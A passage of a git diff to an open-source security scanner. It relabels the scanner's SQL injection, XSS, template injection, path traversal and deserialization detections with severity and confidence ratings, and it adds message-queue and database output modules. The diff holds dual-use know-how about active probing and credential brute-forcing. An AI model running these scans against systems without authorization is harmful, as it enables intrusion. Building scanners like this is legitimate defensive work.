f"Lightfuzz Cryptographic Probe Submodule detected a parameter ({self.event.data['name']}) to appears to drive a cryptographic operation" self.results.append( { - "type": "FINDING", + "name": "Probable Cryptographic Parameter", + "severity": "INFORMATIONAL", + "confidence": "LOW", "description": f"Probable Cryptographic Parameter. {self.metadata()} Detection Technique(s): [{', '.join(confirmed_techniques)}]", "context": context, } @@ -486,7 +491,9 @@ async def fuzz(self): context = f"Lightfuzz Cryptographic Probe Submodule detected a parameter ({self.event.data['name']}) that is a likely a hash, which is connected to another parameter {additional_param_name})" self.results.append( { - "type": "FINDING", + "name": "Possible Length Extension Attack", + "severity": "INFORMATIONAL", + "confidence": "LOW", "description": f"Possible {self.event.data['type']} parameter with {hash_instance.name.upper()} Hash as value. {self.metadata()}, linked to additional parameter [{additional_param_name}]", "context": context, } diff --git a/bbot/modules/lightfuzz/submodules/esi.py b/bbot/modules/lightfuzz/submodules/esi.py index 757a903979..cfb786187c 100644 --- a/bbot/modules/lightfuzz/submodules/esi.py +++ b/bbot/modules/lightfuzz/submodules/esi.py @@ -22,6 +22,9 @@ async def check_probe(self, cookies, probe, match): self.results.append( { "type": "FINDING", + "name": "Edge Side Include Processing", + "severity": "MEDIUM", + "confidence": "HIGH", "description": f"Edge Side Include. Parameter: [{self.event.data['name']}] Parameter Type: [{self.event.data['type']}]{self.conversion_note()}", } ) diff --git a/bbot/modules/lightfuzz/submodules/path.py b/bbot/modules/lightfuzz/submodules/path.py index 44047e2907..03249a706d 100644 --- a/bbot/modules/lightfuzz/submodules/path.py +++ b/bbot/modules/lightfuzz/submodules/path.py @@ -121,7 +121,9 @@ async def fuzz(self): if confirmations > 3: self.results.append( { - "type": "FINDING", + "name": "Possible Path Traversal", + "severity": "HIGH", + "confidence": "LOW", "description": f"POSSIBLE Path Traversal. {self.metadata()} Detection Method: [{path_technique}]", } ) @@ -148,7 +150,9 @@ async def fuzz(self): if r and trigger in r.text: self.results.append( { - "type": "FINDING", + "name": "Possible Path Traversal", + "severity": "HIGH", + "confidence": "MODERATE", "description": f"POSSIBLE Path Traversal. {self.metadata()} Detection Method: [Absolute Path: {path}]", } ) diff --git a/bbot/modules/lightfuzz/submodules/serial.py b/bbot/modules/lightfuzz/submodules/serial.py index 9a7dd90135..58837f06be 100644 --- a/bbot/modules/lightfuzz/submodules/serial.py +++ b/bbot/modules/lightfuzz/submodules/serial.py @@ -165,7 +165,9 @@ def get_title(text): self.results.append( { - "type": "FINDING", + "name": "Possible Unsafe Deserialization", + "severity": "HIGH", + "confidence": "LOW", "description": f"POSSIBLE Unsafe Deserialization. {self.metadata()} Technique: [Error Resolution (Baseline: [{payload_baseline.baseline.status_code}] {baseline_title} -> Probe: [{status_code}] {probe_title})] Serialization Payload: [{type}]", } ) @@ -182,7 +184,9 @@ def get_title(text): self.debug(f"Error string '{serialization_error}' found in response for {type}") self.results.append( { - "type": "FINDING", + "name": "Possible Unsafe Deserialization", + "severity": "HIGH", + "confidence": "LOW", "description": f"POSSIBLE Unsafe Deserialization. {self.metadata()} Technique: [Differential Error Analysis] Error-String: [{serialization_error}] Payload: [{type}]", } ) diff --git a/bbot/modules/lightfuzz/submodules/sqli.py b/bbot/modules/lightfuzz/submodules/sqli.py index a2adfd2222..869432a3e9 100644 --- a/bbot/modules/lightfuzz/submodules/sqli.py +++ b/bbot/modules/lightfuzz/submodules/sqli.py @@ -99,7 +99,9 @@ async def fuzz(self): if sqli_error_string.lower() in single_quote[3].text.lower(): self.results.append( { - "type": "FINDING", + "name": "Possible SQL Injection", + "severity": "HIGH", + "confidence": "MODERATE", "description": f"Possible SQL Injection. {self.metadata()} Detection Method: [SQL Error Detection] Detected String: [{sqli_error_string}]", } ) @@ -119,7 +121,9 @@ async def fuzz(self): ): self.results.append( { - "type": "FINDING", + "name": "Possible SQL Injection", + "severity": "HIGH", + "confidence": "MODERATE", "description": f"Possible SQL Injection. {self.metadata()} Detection Method: [Single Quote/Two Single Quote, Code Change ({http_compare.baseline.status_code}->{single_quote[3].status_code}->{double_single_quote[3].status_code})]", } ) @@ -179,7 +183,9 @@ async def fuzz(self): if confirmations == 3: self.results.append( { - "type": "FINDING", + "name": "Possible Blind SQL Injection", + "severity": "HIGH", + "confidence": "LOW", "description": f"Possible Blind SQL Injection. {self.metadata()} Detection Method: [Delay Probe ({p})]", } ) diff --git a/bbot/modules/lightfuzz/submodules/ssti.py b/bbot/modules/lightfuzz/submodules/ssti.py index 544b10b103..187c5ca4bf 100644 --- a/bbot/modules/lightfuzz/submodules/ssti.py +++ b/bbot/modules/lightfuzz/submodules/ssti.py @@ -32,7 +32,9 @@ async def fuzz(self): if r and ("1787569" in r.text or "1,787,569" in r.text): self.results.append( { - "type": "FINDING", + "name": "Possible Server-side Template Injection", + "severity": "HIGH", + "confidence": "HIGH", "description": f"POSSIBLE Server-side Template Injection. {self.metadata()} Detection Method: [Integer Multiplication] Payload: [{probe_value}]", } ) diff --git a/bbot/modules/lightfuzz/submodules/xss.py b/bbot/modules/lightfuzz/submodules/xss.py index 4403e175ca..ae849ee48b 100644 --- a/bbot/modules/lightfuzz/submodules/xss.py +++ b/bbot/modules/lightfuzz/submodules/xss.py @@ -90,6 +90,9 @@ async def check_probe(self, cookies, probe, match, context): if probe_result and match in probe_result.text: self.results.append( { + "name": "Possible Reflected XSS", + "severity": "MEDIUM", + "confidence": "MODERATE", "type": "FINDING", "description": f"Possible Reflected XSS. Parameter: [{self.event.data['name']}] Context: [{context}] Parameter Type: [{self.event.data['type']}]{self.conversion_note()}", } diff --git a/bbot/modules/medusa.py b/bbot/modules/medusa.py index e8814b5c2b..ea59f790ce 100644 --- a/bbot/modules/medusa.py +++ b/bbot/modules/medusa.py @@ -4,7 +4,7 @@ class medusa(BaseModule): watched_events = ["PROTOCOL"] - produced_events = ["VULNERABILITY"] + produced_events = ["FINDING"] flags = ["active", "aggressive", "deadly"] per_host_only = True meta = { @@ -140,8 +140,18 @@ async def handle_event(self, event): self.info(f"Medusa stderr: {result.stderr}") async for message in self.parse_output(result.stdout, snmp_version): - vuln_event = self.create_vuln_event("CRITICAL", message, event) - await self.emit_event(vuln_event) + await self.emit_event( + { + "name": f"Valid SNMPV{snmp_version} Credentials Found!", + "severity": "CRITICAL", + "confidence": "CONFIRMED", + "host": str(event.host), + "port": str(event.port), + "description": message, + }, + "FINDING", + parent=event, + ) # else: Medusa supports various protocols which could in theory be implemented later on. @@ -215,18 +225,3 @@ async def construct_command(self, host, port, protocol, protocol_version): ] return cmd - - def create_vuln_event(self, severity, description, source_event): - host = str(source_event.host) - port = str(source_event.port) - - return self.make_event( - { - "severity": severity, - "host": host, - "port": port, - "description": description, - }, - "VULNERABILITY", - source_event, - ) diff --git a/bbot/modules/newsletters.py b/bbot/modules/newsletters.py index 114f7d66fd..17f5a1c98d 100644 --- a/bbot/modules/newsletters.py +++ b/bbot/modules/newsletters.py @@ -51,7 +51,14 @@ async def handle_event(self, event): result = self.find_type(soup) if result: description = "Found a Newsletter Submission Form that could be used for email bombing attacks" - data = {"host": str(_event.host), "description": description, "url": _event.data["url"]} + data = { + "host": str(_event.host), + "description": description, + "url": _event.data["url"], + "name": "Newsletter Submission Form", + "severity": "INFORMATIONAL", + "confidence": "LOW", + } await self.emit_event( data, "FINDING", diff --git a/bbot/modules/ntlm.py b/bbot/modules/ntlm.py index 67268616de..73cf83b6bd 100644 --- a/bbot/modules/ntlm.py +++ b/bbot/modules/ntlm.py @@ -120,6 +120,9 @@ async def handle_event(self, event): "host": str(event.host), "url": url, "description": f"NTLM AUTH: {ntlm_resp_decoded}", + "name": "NTLM Authentication", + "severity": "INFORMATIONAL", + "confidence": "HIGH", }, "FINDING", parent=event, diff --git a/bbot/modules/nuclei.py b/bbot/modules/nuclei.py index ebbadb9522..f543bdb9ad 100644 --- a/bbot/modules/nuclei.py +++ b/bbot/modules/nuclei.py @@ -6,7 +6,7 @@ class nuclei(BaseModule): watched_events = ["URL"] - produced_events = ["FINDING", "VULNERABILITY", "TECHNOLOGY"] + produced_events = ["FINDING", "TECHNOLOGY"] flags = ["active", "aggressive", "deadly"] meta = { "description": "Fast and customisable vulnerability scanner", @@ -175,6 +175,9 @@ async def handle_batch(self, *events): "host": str(parent_event.host), "url": url, "description": description_string, + "name": f"Nuclei Vuln - {name}", + "severity": "INFORMATIONAL", + "confidence": "HIGH", }, "FINDING", parent_event, @@ -187,8 +190,10 @@ async def handle_batch(self, *events): "host": str(parent_event.host), "url": url, "description": description_string, + "name": f"Nuclei Vuln - {name}", + "confidence": "HIGH", }, - "VULNERABILITY", + "FINDING", parent_event, context=f"{{module}} scanned {url} and identified {severity.lower()} {{event.type}}: {description_string}", ) diff --git a/bbot/modules/oauth.py b/bbot/modules/oauth.py index 58c0507c09..922cbc0558 100644 --- a/bbot/modules/oauth.py +++ b/bbot/modules/oauth.py @@ -26,7 +26,7 @@ async def setup(self): return True async def filter_event(self, event): - if event.module == self or any(t in event.tags for t in ("target", "domain", "ms-auth-url")): + if event.module == self or any(t in event.tags for t in ("seed", "domain", "ms-auth-url")): return True elif self.try_all and event.scope_distance == 0: return True @@ -62,9 +62,12 @@ async def handle_event(self, event): if token_endpoint: finding_event = self.make_event( { + "name": "OpenID Connect Endpoint", "description": f"OpenID Connect Endpoint (domain: {source_domain}) found at {url}", "host": event.host, "url": url, + "severity": "INFORMATIONAL", + "confidence": "HIGH", }, "FINDING", parent=event, @@ -101,9 +104,12 @@ async def handle_event(self, event): description = f"Potentially Sprayable OAUTH Endpoint (domain: {source_domain}) at {url}" oauth_finding = self.make_event( { + "name": "Potentially Sprayable OAUTH Endpoint", "description": description, "host": event.host, "url": url, + "severity": "INFORMATIONAL", + "confidence": "LOW", }, "FINDING", parent=event, diff --git a/bbot/modules/output/asset_inventory.py b/bbot/modules/output/asset_inventory.py index 49c26fa8d7..9a2364e3b9 100644 --- a/bbot/modules/output/asset_inventory.py +++ b/bbot/modules/output/asset_inventory.py @@ -26,7 +26,6 @@ class asset_inventory(CSV): "DNS_NAME", "URL", "FINDING", - "VULNERABILITY", "TECHNOLOGY", "IP_ADDRESS", "WAF", @@ -316,12 +315,9 @@ def absorb_event(self, event): if event.type == "FINDING": location = event.data.get("url", event.data.get("host", "")) if location: - self.findings.add(f"{location}:{event.data['description']}") - - if event.type == "VULNERABILITY": - location = event.data.get("url", event.data.get("host", "")) - if location: - self.findings.add(f"{location}:{event.data['description']}:{event.data['severity']}") + self.findings.add( + f"{location}:{event.data['description']}:Severity: {event.data['severity']} Confidence: {event.data['confidence']}" + ) severity_int = severity_map.get(event.data.get("severity", "N/A"), 0) if severity_int > self.risk_rating: self.risk_rating = severity_int diff --git a/bbot/modules/output/base.py b/bbot/modules/output/base.py index 5aa17d24c1..d8d7bdb79f 100644 --- a/bbot/modules/output/base.py +++ b/bbot/modules/output/base.py @@ -38,6 +38,9 @@ def _event_precheck(self, event): if self._is_graph_important(event): return True, "event is critical to the graph" + if event.always_emit: + return True, "event is always emitted" + # omit certain event types if event._omit: if event.type in self.get_watched_events(): diff --git a/bbot/modules/output/discord.py b/bbot/modules/output/discord.py index 2aa4d21f84..934d89e670 100644 --- a/bbot/modules/output/discord.py +++ b/bbot/modules/output/discord.py @@ -8,10 +8,10 @@ class Discord(WebhookOutputModule): "created_date": "2023-08-14", "author": "@TheTechromancer", } - options = {"webhook_url": "", "event_types": ["VULNERABILITY", "FINDING"], "min_severity": "LOW", "retries": 10} + options = {"webhook_url": "", "event_types": ["FINDING"], "min_severity": "LOW", "retries": 10} options_desc = { "webhook_url": "Discord webhook URL", "event_types": "Types of events to send", - "min_severity": "Only allow VULNERABILITY events of this severity or higher", + "min_severity": "Only allow FINDING events of this severity or higher", "retries": "Number of times to retry sending the message before skipping the event", } diff --git a/bbot/modules/output/elastic.py b/bbot/modules/output/elastic.py new file mode 100644 index 0000000000..064c00af7c --- /dev/null +++ b/bbot/modules/output/elastic.py @@ -0,0 +1,32 @@ +from .http import HTTP + + +class Elastic(HTTP): + """ + docker run -d -p 9200:9200 --name=bbot-elastic --v "$(pwd)/elastic_data:/usr/share/elasticsearch/data" -e ELASTIC_PASSWORD=bbotislife -m 1GB docker.elastic.co/elasticsearch/elasticsearch:8.16.0 + """ + + watched_events = ["*"] + meta = { + "description": "Send scan results to Elasticsearch", + "created_date": "2022-11-21", + "author": "@TheTechromancer", + } + options = { + "url": "https://localhost:9200/bbot_events/_doc", + "username": "elastic", + "password": "bbotislife", + "timeout": 10, + } + options_desc = { + "url": "Elastic URL (e.g. https://localhost:9200//_doc)", + "username": "Elastic username", + "password": "Elastic password", + "timeout": "HTTP timeout", + } + + async def cleanup(self): + # refresh the index + doc_regex = self.helpers.re.compile(r"/[^/]+$") + refresh_url = doc_regex.sub("/_refresh", self.url) + await self.helpers.request(refresh_url, auth=self.auth) diff --git a/bbot/modules/output/http.py b/bbot/modules/output/http.py index 9d9241da0b..28fa917fc7 100644 --- a/bbot/modules/output/http.py +++ b/bbot/modules/output/http.py @@ -1,3 +1,6 @@ +from omegaconf import OmegaConf + +from bbot.models.pydantic import Event from bbot.modules.output.base import BaseOutputModule @@ -14,8 +17,8 @@ class HTTP(BaseOutputModule): "bearer": "", "username": "", "password": "", + "headers": {}, "timeout": 10, - "siem_friendly": False, } options_desc = { "url": "Web URL", @@ -23,16 +26,15 @@ class HTTP(BaseOutputModule): "bearer": "Authorization Bearer token", "username": "Username (basic auth)", "password": "Password (basic auth)", + "headers": "Additional headers to send with the request", "timeout": "HTTP timeout", - "siem_friendly": "Format JSON in a SIEM-friendly way for ingestion into Elastic, Splunk, etc.", } async def setup(self): self.url = self.config.get("url", "") self.method = self.config.get("method", "POST") self.timeout = self.config.get("timeout", 10) - self.siem_friendly = self.config.get("siem_friendly", False) - self.headers = {} + self.headers = OmegaConf.to_object(self.config.get("headers", OmegaConf.create())) bearer = self.config.get("bearer", "") if bearer: self.headers["Authorization"] = f"Bearer {bearer}" @@ -51,12 +53,15 @@ async def setup(self): async def handle_event(self, event): while 1: + event_json = event.json() + event_pydantic = Event(**event_json) + event_json = event_pydantic.model_dump(exclude_none=True) response = await self.helpers.request( url=self.url, method=self.method, auth=self.auth, headers=self.headers, - json=event.json(siem_friendly=self.siem_friendly), + json=event_json, ) is_success = False if response is None else response.is_success if not is_success: diff --git a/bbot/modules/output/json.py b/bbot/modules/output/json.py index a35fa6aed7..b93d1e4e3f 100644 --- a/bbot/modules/output/json.py +++ b/bbot/modules/output/json.py @@ -11,20 +11,18 @@ class JSON(BaseOutputModule): "created_date": "2022-04-07", "author": "@TheTechromancer", } - options = {"output_file": "", "siem_friendly": False} + options = {"output_file": ""} options_desc = { "output_file": "Output to file", - "siem_friendly": "Output JSON in a SIEM-friendly format for ingestion into Elastic, Splunk, etc.", } _preserve_graph = True async def setup(self): self._prep_output_dir("output.json") - self.siem_friendly = self.config.get("siem_friendly", False) return True async def handle_event(self, event): - event_json = event.json(siem_friendly=self.siem_friendly) + event_json = event.json() event_str = json.dumps(event_json) if self.file is not None: self.file.write(event_str + "\n") diff --git a/bbot/modules/output/kafka.py b/bbot/modules/output/kafka.py new file mode 100644 index 0000000000..01eeeb2fd6 --- /dev/null +++ b/bbot/modules/output/kafka.py @@ -0,0 +1,48 @@ +import json +from aiokafka import AIOKafkaProducer + +from bbot.modules.output.base import BaseOutputModule + + +class Kafka(BaseOutputModule): + watched_events = ["*"] + meta = { + "description": "Output scan data to a Kafka topic", + "created_date": "2024-11-22", + "author": "@TheTechromancer", + } + options = { + "bootstrap_servers": "localhost:9092", + "topic": "bbot_events", + } + options_desc = { + "bootstrap_servers": "A comma-separated list of Kafka server addresses", + "topic": "The Kafka topic to publish events to", + } + deps_pip = ["aiokafka~=0.12.0"] + + async def setup(self): + self.bootstrap_servers = self.config.get("bootstrap_servers", "localhost:9092") + self.topic = self.config.get("topic", "bbot_events") + self.producer = AIOKafkaProducer(bootstrap_servers=self.bootstrap_servers) + + # Start the producer + await self.producer.start() + self.verbose("Kafka producer started successfully") + return True + + async def handle_event(self, event): + event_json = event.json() + event_data = json.dumps(event_json).encode("utf-8") + while 1: + try: + await self.producer.send_and_wait(self.topic, event_data) + break + except Exception as e: + self.warning(f"Error sending event to Kafka: {e}, retrying...") + await self.helpers.sleep(1) + + async def cleanup(self): + # Stop the producer + await self.producer.stop() + self.verbose("Kafka producer stopped successfully") diff --git a/bbot/modules/output/mongo.py b/bbot/modules/output/mongo.py new file mode 100644 index 0000000000..b7deb3d5e4 --- /dev/null +++ b/bbot/modules/output/mongo.py @@ -0,0 +1,92 @@ +from pymongo import AsyncMongoClient + +from bbot.models.pydantic import Event, Scan, Target +from bbot.modules.output.base import BaseOutputModule + + +class Mongo(BaseOutputModule): + """ + docker run --rm -p 27017:27017 mongo + """ + + watched_events = ["*"] + meta = { + "description": "Output scan data to a MongoDB database", + "created_date": "2024-11-17", + "author": "@TheTechromancer", + } + options = { + "uri": "mongodb://localhost:27017", + "database": "bbot", + "username": "", + "password": "", + "collection_prefix": "", + } + options_desc = { + "uri": "The URI of the MongoDB server", + "database": "The name of the database to use", + "username": "The username to use to connect to the database", + "password": "The password to use to connect to the database", + "collection_prefix": "Prefix the name of each collection with this string", + } + deps_pip = ["pymongo~=4.15"] + + async def setup(self): + self.uri = self.config.get("uri", "mongodb://localhost:27017") + self.username = self.config.get("username", "") + self.password = self.config.get("password", "") + self.db_client = AsyncMongoClient(self.uri, username=self.username, password=self.password) + + # Ping the server to confirm a successful connection + try: + await self.db_client.admin.command("ping") + self.verbose("MongoDB connection successful") + except Exception as e: + return False, f"Failed to connect to MongoDB: {e}" + + self.db_name = self.config.get("database", "bbot") + self.db = self.db_client[self.db_name] + self.collection_prefix = self.config.get("collection_prefix", "") + self.events_collection = self.db[f"{self.collection_prefix}events"] + self.scans_collection = self.db[f"{self.collection_prefix}scans"] + self.targets_collection = self.db[f"{self.collection_prefix}targets"] + + # Build an index for each field in reverse_host and host + for fieldname, metadata in Event.indexed_fields().items(): + if "indexed" in metadata: + unique = "unique" in metadata + await self.events_collection.create_index([(fieldname, 1)], unique=unique) + self.verbose(f"Index created for field: {fieldname} (unique={unique})") + + return True + + async def handle_event(self, event): + event_json = event.json() + event_pydantic = Event(**event_json) + while 1: + try: + await self.events_collection.insert_one(event_pydantic.model_dump()) + break + except Exception as e: + self.warning(f"Error inserting event into MongoDB: {e}, retrying...") + self.trace() + await self.helpers.sleep(1) + + if event.type == "SCAN": + scan_json = Scan(**event.data_json).model_dump() + existing_scan = await self.scans_collection.find_one({"id": event_pydantic.id}) + if existing_scan: + await self.scans_collection.replace_one({"id": event_pydantic.id}, scan_json) + self.verbose(f"Updated scan event with ID: {event_pydantic.id}") + else: + # Insert as a new scan if no existing scan is found + await self.scans_collection.insert_one(event_pydantic.model_dump()) + self.verbose(f"Inserted new scan event with ID: {event_pydantic.id}") + + target_data = scan_json.get("target", {}) + target = Target(**target_data) + existing_target = await self.targets_collection.find_one({"hash": target.hash}) + if existing_target: + await self.targets_collection.replace_one({"hash": target.hash}, target.model_dump()) + else: + await self.targets_collection.insert_one(target.model_dump()) diff --git a/bbot/modules/output/nats.py b/bbot/modules/output/nats.py new file mode 100644 index 0000000000..569645cc3b --- /dev/null +++ b/bbot/modules/output/nats.py @@ -0,0 +1,53 @@ +import json +import nats +from bbot.modules.output.base import BaseOutputModule + + +class NATS(BaseOutputModule): + watched_events = ["*"] + meta = { + "description": "Output scan data to a NATS subject", + "created_date": "2024-11-22", + "author": "@TheTechromancer", + } + options = { + "servers": [], + "subject": "bbot_events", + } + options_desc = { + "servers": "A list of NATS server addresses", + "subject": "The NATS subject to publish events to", + } + deps_pip = ["nats-py"] + + async def setup(self): + self.servers = list(self.config.get("servers", [])) + if not self.servers: + return False, "NATS servers are required" + self.subject = self.config.get("subject", "bbot_events") + + # Connect to the NATS server + try: + self.nc = await nats.connect(self.servers) + except Exception as e: + import traceback + + return False, f"Error connecting to NATS: {e}\n{traceback.format_exc()}" + self.verbose("NATS client connected successfully") + return True + + async def handle_event(self, event): + event_json = event.json() + event_data = json.dumps(event_json).encode("utf-8") + while 1: + try: + await self.nc.publish(self.subject, event_data) + break + except Exception as e: + self.warning(f"Error sending event to NATS: {e}, retrying...") + await self.helpers.sleep(1) + + async def cleanup(self): + # Close the NATS connection + await self.nc.close() + self.verbose("NATS client disconnected successfully") diff --git a/bbot/modules/output/nmap_xml.py b/bbot/modules/output/nmap_xml.py index 52698e0de8..9a0cee27eb 100644 --- a/bbot/modules/output/nmap_xml.py +++ b/bbot/modules/output/nmap_xml.py @@ -1,6 +1,7 @@ import sys from xml.dom import minidom from datetime import datetime +from zoneinfo import ZoneInfo from xml.etree.ElementTree import Element, SubElement, tostring from bbot import __version__ @@ -76,7 +77,7 @@ async def handle_event(self, event): async def report(self): scan_start_time = str(int(self.scan.start_time.timestamp())) scan_start_time_str = self.scan.start_time.strftime("%a %b %d %H:%M:%S %Y") - scan_end_time = datetime.now() + scan_end_time = datetime.now(ZoneInfo("UTC")) scan_end_time_str = scan_end_time.strftime("%a %b %d %H:%M:%S %Y") scan_end_time_timestamp = str(scan_end_time.timestamp()) scan_duration = scan_end_time - self.scan.start_time diff --git a/bbot/modules/output/rabbitmq.py b/bbot/modules/output/rabbitmq.py new file mode 100644 index 0000000000..ba4205940d --- /dev/null +++ b/bbot/modules/output/rabbitmq.py @@ -0,0 +1,56 @@ +import json +import aio_pika + +from bbot.modules.output.base import BaseOutputModule + + +class RabbitMQ(BaseOutputModule): + watched_events = ["*"] + meta = { + "description": "Output scan data to a RabbitMQ queue", + "created_date": "2024-11-22", + "author": "@TheTechromancer", + } + options = { + "url": "amqp://guest:guest@localhost/", + "queue": "bbot_events", + } + options_desc = { + "url": "The RabbitMQ connection URL", + "queue": "The RabbitMQ queue to publish events to", + } + deps_pip = ["aio_pika~=9.5.0"] + + async def setup(self): + self.rabbitmq_url = self.config.get("url", "amqp://guest:guest@localhost/") + self.queue_name = self.config.get("queue", "bbot_events") + + # Connect to RabbitMQ + self.connection = await aio_pika.connect_robust(self.rabbitmq_url) + self.channel = await self.connection.channel() + + # Declare the queue + self.queue = await self.channel.declare_queue(self.queue_name, durable=True) + self.verbose("RabbitMQ connection and queue setup successfully") + return True + + async def handle_event(self, event): + event_json = event.json() + event_data = json.dumps(event_json).encode("utf-8") + + # Publish the message to the queue + while 1: + try: + await self.channel.default_exchange.publish( + aio_pika.Message(body=event_data), + routing_key=self.queue_name, + ) + break + except Exception as e: + self.error(f"Error publishing message to RabbitMQ: {e}, rerying...") + await self.helpers.sleep(1) + + async def cleanup(self): + # Close the connection + await self.connection.close() + self.verbose("RabbitMQ connection closed successfully") diff --git a/bbot/modules/output/slack.py b/bbot/modules/output/slack.py index d65c816b3e..3366be9081 100644 --- a/bbot/modules/output/slack.py +++ b/bbot/modules/output/slack.py @@ -10,11 +10,11 @@ class Slack(WebhookOutputModule): "created_date": "2023-08-14", "author": "@TheTechromancer", } - options = {"webhook_url": "", "event_types": ["VULNERABILITY", "FINDING"], "min_severity": "LOW", "retries": 10} + options = {"webhook_url": "", "event_types": ["FINDING"], "min_severity": "LOW", "retries": 10} options_desc = { "webhook_url": "Discord webhook URL", "event_types": "Types of events to send", - "min_severity": "Only allow VULNERABILITY events of this severity or higher", + "min_severity": "Only allow FINDING events of this severity or higher", "retries": "Number of times to retry sending the message before skipping the event", } content_key = "text" @@ -26,7 +26,6 @@ def format_message_str(self, event): def format_message_other(self, event): event_yaml = yaml.dump(event.data) event_type = f"*`[{event.type}]`*" - if event.type in ("VULNERABILITY", "FINDING"): - event_str, color = self.get_severity_color(event) - event_type = f"{color} `{event_str}` {color}" + event_str, severity_color, confidence_color = self.get_colors(event) + event_type = f"Severity: {severity_color} Confidence: {confidence_color} {event_str}" return f"""*{event_type}*\n```\n{event_yaml}```""" diff --git a/bbot/modules/output/stdout.py b/bbot/modules/output/stdout.py index c41f17fbef..a8bd01cdb2 100644 --- a/bbot/modules/output/stdout.py +++ b/bbot/modules/output/stdout.py @@ -15,7 +15,13 @@ class Stdout(BaseOutputModule): "in_scope_only": "Whether to only show in-scope events", "accept_dupes": "Whether to show duplicate events, default True", } - vuln_severity_map = {"LOW": "HUGEWARNING", "MEDIUM": "HUGEWARNING", "HIGH": "CRITICAL", "CRITICAL": "CRITICAL"} + vuln_severity_map = { + "INFORMATIONAL": "HUGEINFO", + "LOW": "HUGEWARNING", + "MEDIUM": "HUGEWARNING", + "HIGH": "CRITICAL", + "CRITICAL": "CRITICAL", + } format_choices = ["text", "json"] async def setup(self): @@ -55,14 +61,14 @@ async def handle_text(self, event, event_json): else: event_str = self.human_event_str(event) - # log vulnerabilities in vivid colors - if event.type == "VULNERABILITY": - severity = event.data.get("severity", "INFO") + # log findings in vivid colors based on severity + if event.type == "FINDING": + severity = event.data.get("severity", "INFORMATIONAL") if severity in self.vuln_severity_map: loglevel = self.vuln_severity_map[severity] log_to_stderr(event_str, level=loglevel, logname=False) - elif event.type == "FINDING": - log_to_stderr(event_str, level="HUGEINFO", logname=False) + else: + log_to_stderr(event_str, level="HUGEINFO", logname=False) print(event_str) diff --git a/bbot/modules/output/teams.py b/bbot/modules/output/teams.py index c9a7cf1820..2ab461d5a6 100644 --- a/bbot/modules/output/teams.py +++ b/bbot/modules/output/teams.py @@ -8,11 +8,11 @@ class Teams(WebhookOutputModule): "created_date": "2023-08-14", "author": "@TheTechromancer", } - options = {"webhook_url": "", "event_types": ["VULNERABILITY", "FINDING"], "min_severity": "LOW", "retries": 10} + options = {"webhook_url": "", "event_types": ["FINDING"], "min_severity": "LOW", "retries": 10} options_desc = { "webhook_url": "Teams webhook URL", "event_types": "Types of events to send", - "min_severity": "Only allow VULNERABILITY events of this severity or higher", + "min_severity": "Only allow FINDING events of this severity or higher", "retries": "Number of times to retry sending the message before skipping the event", } @@ -46,7 +46,7 @@ def format_message_other(self, event): def get_severity_color(self, event): color = "Accent" - if event.type == "VULNERABILITY": + if event.type == "FINDING": severity = event.data.get("severity", "INFO") if severity == "CRITICAL": color = "Attention" @@ -78,7 +78,7 @@ def format_message(self, event): heading = {"type": "TextBlock", "text": f"{event.type}", "wrap": True, "size": "Large", "style": "heading"} body = adaptive_card["attachments"][0]["content"]["body"] body.append(heading) - if event.type in ("VULNERABILITY", "FINDING"): + if event.type == "FINDING": subheading = { "type": "TextBlock", "text": event.data.get("severity", "INFO"), diff --git a/bbot/modules/output/web_report.py b/bbot/modules/output/web_report.py index 69e307f002..64927c7b38 100644 --- a/bbot/modules/output/web_report.py +++ b/bbot/modules/output/web_report.py @@ -4,7 +4,7 @@ class web_report(BaseOutputModule): - watched_events = ["URL", "TECHNOLOGY", "FINDING", "VULNERABILITY", "VIRTUAL_HOST"] + watched_events = ["URL", "TECHNOLOGY", "FINDING", "VIRTUAL_HOST"] meta = { "description": "Create a markdown report with web assets", "created_date": "2023-02-08", @@ -89,7 +89,7 @@ async def report(self): if e in dedupe: continue dedupe.append(e) - self.markdown += f"\n* {e}\n" + self.markdown += f"* {e}\n" self.markdown += "\n" if self.file is not None: diff --git a/bbot/modules/output/zeromq.py b/bbot/modules/output/zeromq.py new file mode 100644 index 0000000000..938f234545 --- /dev/null +++ b/bbot/modules/output/zeromq.py @@ -0,0 +1,46 @@ +import zmq +import json + +from bbot.modules.output.base import BaseOutputModule + + +class ZeroMQ(BaseOutputModule): + watched_events = ["*"] + meta = { + "description": "Output scan data to a ZeroMQ socket (PUB)", + "created_date": "2024-11-22", + "author": "@TheTechromancer", + } + options = { + "zmq_address": "", + } + options_desc = { + "zmq_address": "The ZeroMQ socket address to publish events to (e.g. tcp://localhost:5555)", + } + + async def setup(self): + self.zmq_address = self.config.get("zmq_address", "") + if not self.zmq_address: + return False, "ZeroMQ address is required" + self.context = zmq.asyncio.Context() + self.socket = self.context.socket(zmq.PUB) + self.socket.bind(self.zmq_address) + self.verbose("ZeroMQ publisher socket bound successfully") + return True + + async def handle_event(self, event): + event_json = event.json() + event_data = json.dumps(event_json).encode("utf-8") + while 1: + try: + await self.socket.send(event_data) + break + except Exception as e: + self.warning(f"Error sending event to ZeroMQ: {e}, retrying...") + await self.helpers.sleep(1) + + async def cleanup(self): + # Close the socket + self.socket.close() + self.context.term() + self.verbose("ZeroMQ publisher socket closed successfully") diff --git a/bbot/modules/paramminer_cookies.py b/bbot/modules/paramminer_cookies.py index a3b4619d45..83fce87ad5 100644 --- a/bbot/modules/paramminer_cookies.py +++ b/bbot/modules/paramminer_cookies.py @@ -8,7 +8,6 @@ class paramminer_cookies(paramminer_headers): watched_events = ["HTTP_RESPONSE", "WEB_PARAMETER"] produced_events = ["WEB_PARAMETER"] - produced_events = ["FINDING"] flags = ["active", "aggressive", "slow", "web-paramminer"] meta = { "description": "Smart brute-force to check for common HTTP cookie parameters", diff --git a/bbot/modules/paramminer_getparams.py b/bbot/modules/paramminer_getparams.py index e6f35f6235..b0a3da92e7 100644 --- a/bbot/modules/paramminer_getparams.py +++ b/bbot/modules/paramminer_getparams.py @@ -8,7 +8,6 @@ class paramminer_getparams(paramminer_headers): watched_events = ["HTTP_RESPONSE", "WEB_PARAMETER"] produced_events = ["WEB_PARAMETER"] - produced_events = ["FINDING"] flags = ["active", "aggressive", "slow", "web-paramminer"] meta = { "description": "Use smart brute-force to check for common HTTP GET parameters", diff --git a/bbot/modules/reflected_parameters.py b/bbot/modules/reflected_parameters.py index f7e17e57e6..84b029347d 100644 --- a/bbot/modules/reflected_parameters.py +++ b/bbot/modules/reflected_parameters.py @@ -25,7 +25,14 @@ async def handle_event(self, event): description += ( f" Original Value: [{self.helpers.truncate_string(str(event.data['original_value']), 200)}]" ) - data = {"host": str(event.host), "description": description, "url": url} + data = { + "host": 